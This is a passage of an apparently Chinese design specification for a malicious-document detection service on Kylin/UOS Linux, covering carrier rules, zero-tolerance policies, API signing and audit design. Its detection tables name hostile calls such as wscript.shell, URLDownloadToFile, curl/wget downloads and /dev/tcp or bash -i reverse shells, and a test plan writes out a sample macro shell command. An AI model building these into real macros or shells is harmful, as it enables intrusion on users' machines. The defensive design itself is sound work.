载体清单与判定方式（按 Linux 适用性分层） + +**A. 跨平台通用载体（Linux 上同样有效）** + +| 载体 | 触发条件 | Linux 上是否生效 | 判定方式 | 规则名 | +| ---------------- | ------- | ------------------------ | ------- | ------------------- | +| PDF JavaScript | 打开即执行脚本 | ✅ 麒麟默认 PDF 阅读器和浏览器都支持 JS | pypdf | `PdfJavaScript` | +| PDF LaunchAction | 打开即启动程序 | ✅ Linux PDF 阅读器会触发 | pypdf | `PdfLaunchAction` | +| PDF OpenAction | 打开即执行动作 | ✅ | pypdf | `PdfOpenAction` | +| 宏代码混淆 / 加密 | 意图不可知 | ✅ 与平台无关 | 编码特征检测 | `MacroObfuscated` | +| 路径穿越条目 | 解包时逃逸 | ✅ | 结构校验 | `PathTraversal` | +| ISO / 镜像 | 双击即挂载 | ✅ UOS 可直接挂载 | 挂载后递归扫描 | `IsoWithExecutable` | + +**B. 宏相关（WPS on Linux 需实测验证）** + +VBA 宏检测的核心逻辑（行为分析、危险 API 识别、混淆检测）是**跨平台**的——不管宏最终在哪个 Office 实现中运行，代码本身的危险特征（调用 Shell、下载文件、混淆加密）都可以被静态识别。差异在于 AutoOpen 等自动执行入口在 WPS on Linux 上是否与 Office on Windows 行为一致。 + +> **待实测**：AutoOpen / Workbook_Open 在 WPS on 麒麟/UOS 上是否在打开时自动触发；Shell / CreateObject 调用在 WPS on Linux 上是否有效。这项验证在 P0 开发前必须完成（见 §13 Q15 已确认，补充方案见 §4.8.4）。 + +| 载体 | 触发条件 | 判定方式 | 规则名 | +| -------------- | ----------------------- | ---------------- | ---------------------------------- | +| VBA 宏 AutoOpen | 打开即触发（WPS on Linux 需实测） | oletools + 宏行为分析 | `VBAAutoExec` / `VBAAutoExecShell` | +| DDE / DDEAUTO | 打开即触发（WPS on Linux 需实测） | msodde | `DDEAutoExecution` | +| 外部模板注入 | 打开即触发 | OOXML 解析 | `AttachedTemplate` | +| 内嵌可执行对象 | 点击确认后执行 | oleobj | `EmbeddedExecutable` | + +**C. Windows 专属载体（Linux 上无直接威胁，降级为纵深防御）** + +以下载体在内网麒麟桌面/UOS 终端上**不生效**，但保持检测——文件可能流向 Windows 工作站： + +| 载体 | 触发条件 | Linux 上生效？ | 处置定位 | 规则名 | +| -------- | ------- | ----------------------- | -------------------- | ----------------- | +| LNK 快捷方式 | 点击即执行 | ❌ Linux 不识别 .lnk 格式 | 纵深防御（文件可能流向 Windows） | `LnkWithAutoExec` | +| CHM 帮助文件 | 打开即执行脚本 | ❌ Linux 上需专门查看器，默认不自动执行 | 纵深防御 | `ChmWithScript` | + +**D. Linux 专属载体（之前方案遗漏，一期必须补充）** + +| 载体 | 触发条件 | 判定方式 | 规则名 | +| ------------------------------------ | ------------------------ | ------------------------------------------------------------ | -------------------------- | +| **ELF 可执行文件** | Linux 原生二进制，直接运行 | 真实类型识别 + 签名/熵值分析 | `LinuxExecutable` | +| **.desktop 快捷方式** | 包含 `Exec=` 字段指向程序或 shell | .desktop 文件解析，检查 Exec 字段中是否包含 `/bin/sh -c`、`wget/curl`、隐藏命令等 | `DesktopFileAutoExec` | +| **Shell / Python / Perl / Ruby 等脚本** | 直接可执行，或被其他程序调用 | 脚本特征提取 + 危险函数识别（system/eval/exec/shell\=True 等） | `ShellScriptDangerous` | +| **AppImage / Flatpak / Snap 包** | 跨发行版便携可执行格式，双击即运行 | 真实类型识别，内部可执行递归扫描 | `LinuxPortableExecutable` | +| **压缩包内的 .sh / .deb / .run / .bin** | Linux 下解压即可执行 | 递归解包 + 真实类型识别 | `ArchiveContainsLinuxExec` | + +#### 4.8.4 零容忍规则集（更新版，含 Linux 专属） + +上述规则中的多数归入**零容忍规则集**，命中即拒绝，**不走评分累加**： + +```yaml +zero_tolerance_rules: + # === 跨平台通用 === + - PdfJavaScript + - PdfLaunchAction + - PdfOpenAction + - PathTraversal + - IsoWithExecutable + - MacroObfuscated + - AttachedTemplate + + # === 宏相关（WPS on Linux 生效）=== + - VBAAutoExec + - VBAAutoExecShell + - MRaptorAutoExec + - MRaptorAutoExecSuspicious + - DDEAutoExecution + - EmbeddedExecutable + + # === Linux 专属（新增）=== + - LinuxExecutable + - DesktopFileAutoExec + - ShellScriptDangerous + - LinuxPortableExecutable + - ArchiveContainsLinuxExec + + # === Windows 专属（纵深防御）=== + - LnkWithAutoExec + - ChmWithScript +``` + +> **Linux 专属载体一期优先级**：ELF 和 shell 脚本识别已包含在 L0 结构层的真实类型识别和 L2 文档检测中（脚本特征提取 + 正则），一期直接生效；.desktop 文件、AppImage/Flatpak 的专用解析器在 P0 中一并实现。 + +**为什么零容忍要独立于评分模型**：评分是相对度量（权重累加过阈值才拒绝），而"打开即执行"是绝对问题——一个宏文档哪怕只命中一条，也应直接拒。零容忍用独立机制表达，避免依赖权重调参。 + +#### 4.8.5 宏行为分级（从「类型黑名单」到「行为白名单」） + +内网人员需要打开带宏的公文模板（自动编号、签章定位等），因此不能简单地把"含宏"等同于"拒绝"。判定依据必须是**宏做了什么**，而非**有没有宏**： + +| 宏的实际行为 | 风险 | 判定 | 处置 | +| ------------------ | --------- | ----------------- | ------------- | +| 自动执行 + 调用系统命令 / 外联 | 极高 | 特征组合 + 编码特征 | **零容忍，拒绝** | +| 宏代码被混淆 / 加密 | 极高（意图不可知） | 编码特征检测 | **零容忍，拒绝** | +| 自动执行 + 仅本地无害操作 | 低 | 无危险 API、无网络、无文件写入 | **放行（可登记例外）** | +| 无自动执行，仅手动触发 | 中 | 特征分析 | 标记放行 / 转复核 | + +**实现方式**：判定"宏做了什么"靠的是**危险 API 调用清单** + **自动执行入口存在性** + **混淆特征**三项的组合，而非单纯的宏存在性。 + +#### 4.8.5a 危险 API 清单（跨平台 + Linux 等价物） + +原来的危险 API 清单是 Windows 专属的。以下补充 Linux 桌面环境下的等价威胁调用： + +**Windows 专属（宏中识别，文件可能流向 Windows 工作站）** + +| API | 含义 | 威胁等级 | +| ------------------------------------------- | -------------- | ------ | +| `Shell()` | 执行外部程序 | HIGH | +| `CreateObject("wscript.shell")` | 脚本宿主对象，可执行任意命令 | HIGH | +| `URLDownloadToFile()` / `MonikerDownload()` | 下载文件到本地 | HIGH | +| `CreateObject("MSXML2.XMLHTTP")` | HTTP 请求（常配合下载） | HIGH | +| `PowerShell` / `cmd.exe` / `net.exe` 调用 | Windows 系统命令 | HIGH | +| 注册表写入（`HKEY_LOCAL_MACHINE` 等） | 持久化 | MEDIUM | + +**Linux 等价物（宏在 WPS on Linux 中调用的系统接口）** + +| 调用特征 | 含义 | 威胁等级 | +| -------------------------------------------------------- | --------------------------------- | -------- | +| `Shell()` → 执行 `/bin/sh -c "..."` | Linux 下 Shell 函数通过 `/bin/sh` 执行命令 | HIGH | +| `CreateObject("com.sun.star.system.SystemShellExecute")` | WPS/Office on Linux 执行外部程序的标准接口 | HIGH | +| `ShellExecute` → `curl` / `wget` 下载 | Linux 下常见下载器 | HIGH | +| Shell 命令中含 `cron` 写入 / `systemctl enable` | 持久化 | HIGH | +| Shell 命令中含 `/tmp` / `/var/tmp` 写入 | 落地可执行文件 | MEDIUM | +| Shell 命令中含 `/dev/tcp/` / `bash -i` | 反弹 Shell / 反向连接 | CRITICAL | + +> **注意**：以上 Linux 等价物是基于 WPS on Linux 的技术特性推断。§4.8.5b 的实测验证将确认这些调用在 WPS on 麒麟/UOS 上是否真的有效。 + +#### 4.8.5b WPS on Linux 需实测的验证点 + +宏行为分级逻辑**核心是跨平台的**——基于宏代码的危险特征组合判定。差异在于这些特征在目标终端上是否可利用。以下验证项需在 P0 开发前完成： + +| 验证项 | 说明 | 验证方式 | +| ------------------------------------------------ | ------------------------------------ | ----------------------------------------------------------------------------------- | +| AutoOpen / Workbook_Open 在 WPS on 麒麟/UOS 是否自动触发 | 决定 `VBAAutoExec` 在 Linux 上的威胁等级 | 制作含 AutoOpen 的 docm 文件，在 WPS on 麒麟桌面打开观察 | +| Shell / CreateObject 在 WPS on Linux 是否有效 | 决定"自动执行 + 调用系统命令"场景在 Linux 上是否可利用 | 宏内写 `Shell "ls"` 或 `Shell "/bin/sh -c 'echo test > /tmp/pwned'"`，在 WPS on Linux 上测试 | +| `/dev/tcp/` / `bash -i` 在宏内能否实现反向连接 | 决定 Linux 下反弹 Shell 的实际威胁 | 宏内写反弹 Shell 命令，测试是否成功 | +| DDE / DDEAUTO 在 WPS on Linux 是否生效 | 决定 `DDEAutoExecution` 在 Linux 上的实际威胁 | 构造含 DDEAUTO 的文档，在 WPS on Linux 上打开 | + +> **安全优先**：在验证完成前，宏相关零容忍规则保持**默认生效**。即使 AutoOpen 在 Linux 上不自动触发，宏代码本身的危险特征（混淆、Shell 调用、反弹 Shell 尝试）仍足以触发零容忍。 + +#### 4.8.6 解析器漏洞的处理边界 + +`MalformedStructure`（畸形结构）不进入零容忍集，仅降权处理。理由： + +| 考量 | 说明 | +| ------ | -------------------------------- | +| 无法判定 | 畸形结构既可能是攻击构造，也可能是正常的软件兼容产物 | +| 误报代价高 | 大量正常文档存在非标准结构，零容忍会阻塞业务 | +| 检出能力有限 | 结构校验只能发现部分畸形，无法覆盖全部解析器漏洞 | +| 责任边界 | 根治该类风险属终端侧加固范畴（打补丁、限制字体自动加载、禁用宏） | + +**检测服务的责任边界**：识别出「该格式存在解析器攻击面」并在结论中提示，**不给出「检测通过即绝对安全」的暗示**。 + +#### 4.8.7 链接与二维码：分级而非一刀切 + +外部链接在正常公文中极常见（法院官网、办事指南），一刀切会造成严重误报。因此采用分级： + +| 情形 | 判定 | 处置 | +| ---------------------- | ----- | ---------------- | +| 命中恶意 URL 库 | 确定性命中 | **零容忍，拒绝** | +| 指向非常规端口 / IP 直连 / 短链服务 | 特征命中 | 转复核 | +| 域名与内网已知系统同名但解析异常 | 特征命中 | 转复核 | +| 普通 http/https 链接 | 无命中 | **放行，但在打开风险中提示** | + +二维码同理：解码后按 URL 规则判定；同时识别"二维码内容与文档主题完全无关"这一可疑组合。 + +#### 4.8.8 打开风险等级（结论的独立维度） + +在「人打开」场景下，检测服务应把「已确认有害」与「需用户注意」区分开。前者必须拦，后者应告知。 + +```json +{ + "verdict": "suspicious", + "action": "pass_with_flag", + "score": 25.0, + "reason": "文档包含外部链接与二维码，未命中恶意特征", + "open_risk": { + "level": "medium", + "factors": ["external_url", "qrcode", "contains_macro"], + "advice": "此文件包含宏与外部链接，打开前请确认来源，宏请勿启用", + "requires_macro_enable": true + } +} +``` + +| 等级 | 判定条件 | 提示语义 | +| ---------- | ------------------------------------------------------ | ------------------ | +| `low` | 无宏、无外链、无嵌入对象 | 无需特别提示 | +| `medium` | 含外部链接 / 二维码 / 隐藏内容 | 请确认来源后再访问链接 | +| `high` | 含宏（行为无害）/ 含外部模板引用 | 打开时请勿启用宏 | +| `critical` | 含可执行文件 / ISO / Linux ELF / .desktop / AppImage / 零容忍命中 | 请勿直接双击，使用虚拟机或联系管理员 | + +**设计要点**： + +| 要点 | 说明 | +| ----- | ---------------------------------------- | +| 独立字段 | `action` 供系统判断，`open_risk` 供人阅读，语义不同不可混用 | +| 消费方分离 | 摆渡系统读 `action`；内网用户看 `open_risk.advice` | +| 可忽略 | 对接方觉得多余可直接忽略该字段，不影响接口兼容 | +| 独立演进 | 提示文案调整不影响判定逻辑 | + +*** + +## 5. 安全设计 + +### 5.1 威胁模型 + +| 威胁 | 场景 | 应对 | +| -------- | ------------------ | ------------------------------ | +| 越权调用 | 未授权方直接调用检测接口 | mTLS + HMAC 签名 + 时间戳 + nonce | +| 重放攻击 | 截获合法请求后重复发送 | timestamp 窗口 ±300s + nonce 一次性 | +| 篡改响应 | 中间人将"恶意"结论改为"干净" | 响应体独立签名，调用方验签 | +| 参数试探 | 拿到密钥后反复调接口摸清检测逻辑 | 限流 + 按角色裁剪响应 + 错误信息不区分原因 | +| 恶意文件打服务端 | 上传构造的压缩炸弹 / 路径穿越文件 | 解包配额 + 路径清洗 + 进程隔离 + 超时限制 | +| 提权 | 通过文件内容影响服务进程 | 非 root 运行、只读文件系统、无出网权限 | +| 凭据泄露 | 配置文件中的密钥泄露 | 环境变量注入 + 文件权限 600 + 密钥派生隔离 | +| 日志篡改 | 事后删除不利审计记录 | 审计日志哈希链，篡改可被检测 | +| 未授权访问控制台 | 攻击者利用调试台探测系统 | 登录认证 + 失败锁定 + 生产默认关闭 | + +### 5.2 认证与签名体系 + +#### 5.2.1 凭证模型 + +每个调用方分配独立的 `client_id` / `secret`： + +* 密钥不直接使用，通过 **HKDF-SHA256** 按用途派生出相互隔离的子密钥： + * 请求签名密钥：`info = "meshsafe/api/v1/request-signing"` + * 响应签名密钥：`info = "meshsafe/api/v1/response-signing"` +* 用途隔离的意义：即使请求签名密钥泄露，攻击者也无法伪造响应签名 + +#### 5.2.2 请求签名 + +待签名串按固定顺序拼接，分隔符为 `\n`： + +``` +METHOD \n PATH \n CANONICAL_QUERY \n BODY_SHA256 \n TIMESTAMP \n NONCE \n CLIENT_ID +``` + +签名为 `HMAC-SHA256(请求签名密钥, 待签名串)` 的小写十六进制。 + +完整规范、校验向量、多语言示例见《接口文档》。 + +#### 5.2.3 响应签名 + +服务端对响应体计算签名并通过响应头返回： + +``` +X-MS-Response-Signature = HMAC-SHA256(响应签名密钥, SHA256(响应体) || TIMESTAMP) +``` + +调用方**必须验签**。未验签的调用方无法获得防篡改保障——这在文档中会明确标注为对接方的强制要求。 + +#### 5.2.4 防重放 + +| 机制 | 参数 | 说明 | +| --------- | ----------------------------------- | ------------- | +| 时间戳窗口 | ±300 秒（`MESHSAFE_SIGNATURE_WINDOW`） | 超窗直接拒绝 | +| nonce 一次性 | Redis `SET NX` + TTL | 重复 nonce 直接拒绝 | + +nonce 校验通过 Redis 保证分布式一致性；Redis 不可用时降级为仅时间戳校验（记录告警）。 + +#### 5.2.5 分权响应 + +| 角色 | 返回内容 | +| ---------- | --------------------------------------------------- | +| `operator` | 完整结论 + 全部 findings + 提取文件路径 | +| `basic` | 仅 verdict / score / action / reason 摘要 + 精简 file 信息 | + +目的是缩小信息泄露面，避免攻击者通过对比不同密钥的响应差异反推检测规则细节。 + +#### 5.2.6 错误信息不泄露原因 + +认证失败统一返回"认证失败"，不区分"client_id 不存在"与"签名错误"，避免 client_id 枚举。 + +### 5.3 控制台安全 + +| 控制项 | 实现 | +| ----- | ------------------------------------- | +| 口令存储 | PBKDF2-HMAC-SHA256，60 万次迭代，16 字节随机盐 | +| 口令复杂度 | ≥12 位，含大小写字母、数字、特殊字符 | +| 失败锁定 | 5 次失败锁定 15 分钟 | +| 会话管理 | 服务端会话存储，30 分钟超时，滑动续期 | +| CSRF | 状态变更请求校验 CSRF Token + SameSite Cookie | +| 首次登录 | 强制修改初始密码（`must_change_password`） | +| 操作审计 | 登录、登出、上传扫描、查看明细、策略重载全部留痕 | +| 生产关闭 | 默认 `always_on` 模式，路由不注册，访问返回 404 | + +### 5.4 审计与合规 + +| 控制项 | 实现 | +| ----- | -------------------------------------------------------- | +| 审计范围 | 所有 API 调用、认证事件、策略变更、人工复核、控制台操作 | +| 防篡改 | 哈希链：`row_hash = SHA256(记录字段 ‖ prev_hash)`，任一条被改则后续链断裂可检出 | +| 留存期 | ≥ 180 天（`MESHSAFE_AUDIT_RETENTION_DAYS`） | +| 完整性校验 | `GET /api/v1/audit/verify` 提供链完整性自检 | +| 日志外发 | 审计日志支持导出，便于对接集中审计平台 | + +### 5.5 运行环境安全 + +| 项 | 配置 | +| ---- | ------------------------------ | +| 容器用户 | 非 root 运行 | +| 文件系统 | 应用目录只读，仅临时目录可写 | +| 网络 | 检测容器无出网权限；仅 Nginx 暴露 443 | +| 密钥管理 | 环境变量注入，不写入镜像层 | +| 依赖 | 版本锁定（`requirements.txt` 精确版本号） | +| 镜像 | 固定基础镜像 tag，定期重建 | + +### 5.6 等保三级要求的融入点 + +本节不展开逐条对照（测评时另行整理），而是说明**等保三级对本系统的设计产生了哪些实际约束**——这些约束已经体现在前面的架构决策中。 + +#### 5.6.1 约束如何影响设计 + +| 等保要求方向 | 对本系统的实际影响 | 体现在哪 | +| ---------- | -------------------- | ------------------------- | +| **身份鉴别** | 接口必须有强鉴别，不能只靠 IP 白名单 | §5.2 请求签名全量校验 | +| **访问控制** | 需按角色分配权限，防止越权获取信息 | §5.2.5 分权响应 | +| **安全审计** | 审计记录需完整、留存 ≥6 个月、防篡改 | §5.4 哈希链 + 180 天 | +| **数据完整性** | 传输与存储过程需有完整性保护手段 | 请求体哈希 + 响应签名 + 哈希链 | +| **数据保密性** | 口令不可逆存储，密钥不落盘 | §5.3 PBKDF2 + §5.5 环境变量注入 | +| **剩余信息保护** | 检测后不留存敏感文件 | 临时文件任务结束即清理 | +| **安全计算环境** | 恶意代码防范软件能力 | 本系统自身即为恶意代码防范组件 | +| **集中管控** | 策略需集中配置与审计 | 策略引擎 + 策略版本快照 | + +#### 5.6.2 本系统需要特别注意的两点 + +**① "安全优先"的故障处理** + +等保要求"安全优先"，因此策略的 `engine_failure_mode` 默认必须是 `fail_closed`（引擎不可用时拒绝文件）。这与一般业务系统的"可用性优先"相反，是刻意的设计取舍——检测服务在引擎故障时若继续放行，等同于没有检测。 + +**② 双因素鉴别的依赖** + +等保三级对重要系统要求两种或以上鉴别方式组合。本服务的接口层已具备"证书 + 请求签名"的双要素，但对**控制台的人工操作**而言，目前只有单一口令。 + +建议方案：控制台接入承载方的统一身份认证体系（UAC / CA 证书 / 短信令牌），由该体系提供第二因素。若测评要求服务自身实现，则需增加 TOTP 模块——这会成为一个待补项。 + +#### 5.6.3 依赖部署侧落实的事项 + +以下事项不在应用代码内，但测评时会被检查，需在部署方案中明确： + +| 事项 | 要求 | +| ------ | -------------------------------------------------- | +| 时钟同步 | NTP 同步，偏差 \< 1 秒（签名窗口 ±300 秒，同步可避免误拒） | +| TLS 证书 | 内部 CA 签发，TLS 1.2+，禁用弱套件 | +| 磁盘加密 | 存储数据库与策略文件的卷启用加密 | +| 容器加固 | 非 root、只读根文件系统、`cap_drop: ALL`、`no-new-privileges` | +| 网络隔离 | 检测网段与业务内网隔离，无出网路由 | +| 主机加固 | 麒麟 / Ubuntu 安全基线（SSH、口令策略、审计服务） | +| 备份策略 | 数据库与配置备份计划 + 演练记录 | + +*** + +## 6. 接口设计概要 + +> 完整契约见《接口文档》。此处仅列概要。 + +### 6.1 接口清单 + +| 方法 | 路径 | 说明 | 权限 | +| ---- | -------------------------------- | ---------- | -------- | +| POST | `/api/v1/scans` | 提交文件扫描 | 调用方 | +| GET | `/api/v1/scans/{task_id}` | 查询扫描结果 | 调用方 | +| POST | `/api/v1/scans/{task_id}/rescan` | 按当前策略重扫 | 调用方 | +| POST | `/api/v1/scans/{task_id}/review` | 人工复核结论回写 | operator | +| GET | `/api/v1/health` | 引擎状态与签名库版本 | 调用方 | +| GET | `/api/v1/policies` | 查询生效策略 | operator | +| POST | `/api/v1/policies/reload` | 重载策略文件 | operator | +| GET | `/api/v1/audit/verify` | 审计链完整性自检 | operator | + +### 6.2 结论字段语义 + +| 字段 | 取值 | 含义 | +| --------- | ------------------------------------------------------ | ---- | +| `verdict` | `clean` / `suspicious` / `malicious` / `error` | 总体判定 | +| `action` | `pass` / `pass_with_flag` / `manual_review` / `reject` | 处置建议 | +| `score` | 0\~100 | 风险评分 | + +**`action` 与 `verdict` 解耦**：调用方应依据 `action` 执行业务逻辑，`verdict` 供人判断。 + +### 6.3 处置动作语义 + +| action | 调用方应采取的行动 | +| ---------------- | ---------------------- | +| `pass` | 正常放行 | +| `pass_with_flag` | 放行但记录标记（低风险信号） | +| `manual_review` | 转入人工复核流程，暂不放行 | +| `reject` | 拒绝本次传输，并向用户说明 `reason` | + +### 6.4 响应结构概要 + +```json +{ + "task_id": "…", + "verdict": "malicious", + "score": 85.0, + "action": "reject", + "reason": "检测到 VBA 宏 + DDEAUTO 自动执行", + "status": "completed", + "file": { + "sha256": "…", "md5": "…", "size": 284915, + "real_type": "Microsoft Word 2007+", + "declared_ext": ".docx", "filename": "起诉状.docx" + }, + "findings": [ + { + "engine": "document", "layer": "L2", "severity": "critical", + "rule": "DDEAutoExecution", "detail": "…", "weight": 65.0 + } + ], + "extracted": [ { "path": "word/vbaProject.bin", "size": 10240 } ], + "meta": { + "scan_duration_ms": 1840, + "policy_version": "2026.10.1", + "clamav": { "version": "…", "signature": "…" } + } +} +``` + +### 6.5 同步 / 异步 + +| 模式 | 请求 | 响应 | +| -- | ------------------------------ | ----------------------------------------------------------------------------- | +| 同步 | `POST /api/v1/scans` | 直接返回完整结论 | +| 异步 | `POST /api/v1/scans`（文件超限或需沙箱） | 返回 `{ "task_id": "…", "status": "pending" }`，轮询 `GET /api/v1/scans/{task_id}` | + +### 6.6 版本与兼容策略 + +* 采用**路径版本**：`/api/v1/`，便于网关路由配置 +* v1 契约内的**新增字段**不视为破坏性变更，调用方应忽略未知字段 +* **字段删除或语义变更**必须升 v2，v1 与 v2 路径并存 +* 响应中始终携带 `meta.policy_version`，便于问题定位 + +### 6.7 打开风险等级（`open_risk`） + +本服务的结论有两个面向：**系统判定** 与 **人工提示**。前者供摆渡系统执行业务逻辑，后者供最终在内网打开文件的用户判断风险。`open_risk` 即为后者的独立字段。 + +#### 6.7.1 与 `action` 的语义分离 + +| 字段 | 消费者 | 含义 | +| ----------- | ------------ | ----------------------- | +| `action` | 摆渡系统 | **机器执行**——放行 / 拒绝 / 转复核 | +| `open_risk` | 内网用户 / 安全管理员 | **人阅读**——打开时需要注意什么 | + +两者独立演进：提示文案调整不影响判定逻辑；判定规则变更也不强制修改提示模板。 + +#### 6.7.2 字段结构 + +```json +{ + "open_risk": { + "level": "high", + "factors": ["contains_macro", "attached_template", "external_url"], + "advice": "此文件包含宏与外部模板引用，打开时请勿启用宏，并确认来源可信", + "requires_macro_enable": true + } +} +``` + +| 字段 | 类型 | 说明 | +| ----------------------- | ----- | -------------------------------------- | +| `level` | 枚举 | `low` / `medium` / `high` / `critical` | +| `factors` | 字符串数组 | 触发该等级的具体因素标识，供前端选择性提示 | +| `advice` | 字符串 | 面向最终用户的中文提示语，可直接展示 | +| `requires_macro_enable` | 布尔 | 该文件是否需要用户手动启用宏才能正常使用（仅提示，不代表检测建议） | + +#### 6.7.3 等级定义 + +| 等级 | 触发条件 | 典型提示 | +| ---------- | ------------------------------------------------------ | -------------- | +| `low` | 无宏、无外链、无嵌入对象、无非常规容器 | 无提示 | +| `medium` | 含普通外部链接 / 二维码 / 隐藏内容 | "请确认链接来源" | +| `high` | 含宏（行为无害）/ 含外部模板引用 / 含嵌入对象（非可执行） | "打开时请勿启用宏" | +| `critical` | 含可执行文件 / ISO / Linux ELF / .desktop / AppImage / 零容忍命中 | "请勿直接双击，联系管理员" | + +#### 6.7.4 消费方忽略权 + +对接方若不需要该字段可直接忽略，**不影响接口兼容**。本服务保证 `open_risk` 始终存在于响应中，即使 `verdict = clean` 也会返回 `level = low` 的结构。 + +#### 6.7.5 与零容忍的关系 + +零容忍命中时：`action = reject` 且 `open_risk.level = critical`。两者同时出现，摆渡系统看 `action` 自动拒绝，内网用户若绕过摆渡（通过其他途径拿到文件）也能在安全审计面板看到 `open_risk` 的警告。 + +*** + +## 7. 策略与裁决模型 + +### 7.1 裁决流程 + +``` +检测信号 + │ + ▼ +┌─────────────────────────────────┐ +│ 0. 零容忍检查（独立机制） │ ── 命中 → 直接 reject，不走评分 +└─────────────────────────────────┘ + │ 未命中 + ▼ +┌─────────────────────────────────┐ +│ 1. 硬性约束检查 │ ── 引擎可用性 / 大小 / 扩展名 / 加密 +└─────────────────────────────────┘ + │ 通过 + ▼ +┌─────────────────────────────────┐ +│ 2. rule_overrides 检查 │ ── 命中 → 按覆盖动作执行 +└─────────────────────────────────┘ + │ 未命中 + ▼ +┌─────────────────────────────────┐ +│ 3. 权重累加评分 + 阈值映射 │ ── 得到 verdict / action / open_risk +└─────────────────────────────────┘ +``` + +**顺序是强制的**：零容忍独立于评分模型，优先级最高。这样"路径穿越 / VBA 自动执行"这类绝对问题不会因为文件其他方面"干净"而被放过。 + +### 7.2 裁决步骤 + +| 步骤 | 检查 | 触发后果 | +| -- | ------------------------- | --------------------------------------- | +| 0 | 命中 `zero_tolerance_rules` | **直接 `reject`**，记录原因，跳过后续所有步骤 | +| 1 | 引擎可用性 | `fail_closed` 下直接拒绝 | +| 2 | 文件大小超限 | 直接拒绝 | +| 3 | 扩展名不在白名单 | 直接拒绝 | +| 4 | 文件加密且策略不允许 | 直接拒绝 | +| 5 | 命中 `rule_overrides` | 按覆盖动作执行 | +| 6 | 其余信号权重累加 | 得到评分 | +| 7 | 评分阈值映射 | 得到最终 `verdict` / `action` / `open_risk` | + +> **例外机制的切入点**：若文件同时命中零容忍规则和例外条件（见 §7.7），则零容忍检查会额外查询例外表——存在有效例外时跳过该条零容忍，继续进入步骤 1。这是整个裁决流程中唯一的"零容忍放宽"入口。 + +### 7.3 评分与阈值 + +| 评分区间 | verdict | action | +| ------------------------------------- | ------------ | ---------------- | +| 0 | `clean` | `pass` | +| 0 \< score \< review_low | `suspicious` | `pass_with_flag` | +| review_low ≤ score \< block_score | `suspicious` | `manual_review` | +| score ≥ block_score | `malicious` | `reject` | + +默认阈值：`review_score = [30, 70]`，`block_score = 70`。 + +### 7.4 策略文件 + +策略以 YAML 管理，与代码分离。调整裁决规则只改 YAML，不动代码。 + +```yaml +version: "2026.10.1" +global: + block_score: 70 + review_score: [30, 70] + engine_failure_mode: fail_closed + max_file_size: 52428800 + sync_max_size: 52428800 + allow_encrypted_archive: false + allow_encrypted_document: false + +# ===== 零容忍规则集（步骤 0，优先级最高）===== +# 命中即 reject，不走评分。与评分模型完全独立的机制。 +zero_tolerance_rules: + - VBAAutoExec + - VBAAutoExecShell + - MRaptorAutoExec + - MRaptorAutoExecSuspicious + - DDEAutoExecution + - PdfJavaScript + - PdfLaunchAction + - PdfOpenAction + - AttachedTemplate + - EmbeddedExecutable + - LnkWithAutoExec + - ChmWithScript + - IsoWithExecutable + - PathTraversal + - MacroObfuscated + +allowed_extensions: [ .docx, .pdf, .xlsx, .jpg, .png, .zip ] +sandbox_required_extensions: [ .exe, .msi, .js, .vbs, .iso ] + +# ===== 规则覆盖（步骤 5）===== +# 对特定规则强制指定处置动作，独立于权重累加 +rule_overrides: + VBAShellInvocation: { action: manual_review, reason: "…" } + ArchiveContainsExecutable: { action: manual_review, reason: "…" } + +# ===== 宏行为例外（步骤 0 的唯一放宽入口）===== +# 内网人员需要打开带宏的公文模板，按文件指纹放行 +# 详见 §7.7 例外机制 +macro_exceptions: + - fingerprint_sha256: "a1b2c3d4..." + filename_pattern: "公文模板*.docm" + reason: "内部公文模板，宏仅执行本地编号与签章定位" + approved_by: "admin" + approved_at: "2026-10-15T10:30:00Z" + expires_at: "2027-10-15T10:30:00Z" +``` + +策略加载时执行严格校验（阈值区间合法性、动作枚举合法性、扩展名格式、例外的 SHA256 格式、到期时间不早于当前），**校验不通过则拒绝加载并保留旧策略**，防止错误的策略文件导致误放行。 + +### 7.5 策略版本追溯 + +每次扫描结果记录 `policy_version` 与 `policy_sha256`。策略重载时在数据库中留存版本快照，支持"按历史策略复现"能力。 + +### 7.6 零容忍机制详解 + +#### 7.6.1 为什么独立于评分 + +评分是**相对度量**——权重累加过阈值才拒绝，天然存在"权重调参"问题。而"打开即执行"载体是**绝对问题**：一个宏文档哪怕只命中一条零容忍规则，也应直接拒。 + +如果把零容忍规则塞进评分体系（比如给 `PathTraversal` 一个 100 分权重），那么： + +* 策略维护者需要记住"这条规则权重必须 ≥ block_score 才会生效" +* 未来有人调低 `block_score` 可能无意间让零容忍规则失效 +* 逻辑上"零容忍"就变成了"高权重"，语义弱化 + +**独立机制的好处**：零容忍是一份**不与评分耦合的清单**，增删条目无需考虑权重平衡。 + +#### 7.6.2 清单来源 + +当前零容忍规则集中的所有条目来源于 §4.8.3 的分层载体判定表。未来新增零容忍规则的准入条件： + +| 条件 | 说明 | +| -------- | ------------------- | +| 命中即有害 | 不存在"合法使用"的场景（如路径穿越） | +| 无法通过权重平衡 | 即使其他信号都是干净的，命中本身即应拒 | +| 可稳定判定 | 不依赖大模型或主观判断 | + +宏的处理是唯一例外——存在"合法宏模板"场景，因此引入例外机制（§7.7）而非直接把所有宏相关规则放进零容忍集。 + +#### 7.6.3 与 `rule_overrides` 的交互 + +``` +zero_tolerance_rules → 步骤 0 最先检查，命中直接 reject +rule_overrides → 步骤 5 在零容忍未命中后检查 +``` + +两者**不重叠**。如果某规则在零容忍清单中，它不会再出现在 `rule_overrides` 的覆盖对象里——因为零容忍已经处理了它。`rule_overrides` 仅针对"未进零容忍集但需要强制处置"的规则（如 `VBAShellInvocation`）。 + +### 7.7 宏行为例外机制 + +内网业务场景下，需要打开带宏的公文模板（自动编号、签章定位等），这类宏**不做网络访问、不调用系统命令、仅在本地操作文档**。零容忍机制必须为此预留受控的放宽入口。 + +#### 7.7.1 五道保险 + +| 保险 | 机制 | 效果 | +| --------- | ---------------------------- | ------------------------------------------------------ | +| **指纹绑定** | 例外按 `sha256` 精确匹配 | 换一个字节的模板文件就不匹配，攻击者无法批量绕过 | +| **双因素匹配** | 同时校验指纹 + 文件名模式（glob） | 防止同哈希文件被不同文件名复用 | +| **必须到期** | 例外必须有 `expires_at`，最长不超过 1 年 | 防止过期例外长期有效；到期自动失效 | +| **审批留痕** | 创建例外需 `approved_by` + 审计日志 | 谁批的、为什么批、批了什么全部可追溯 | +| **行为前提** | 例外仅对"无危险 API"的宏生效（§4.8.4 判定） | 宏虽在例外中，但若检测到 Shell 调用 / URLDownloadToFile / 混淆等，仍触发零容忍 | + +#### 7.7.2 例外如何生效 + +``` +文件进入零容忍检查 ──► 命中 VBAAutoExec ──► 查询例外表 + │ + 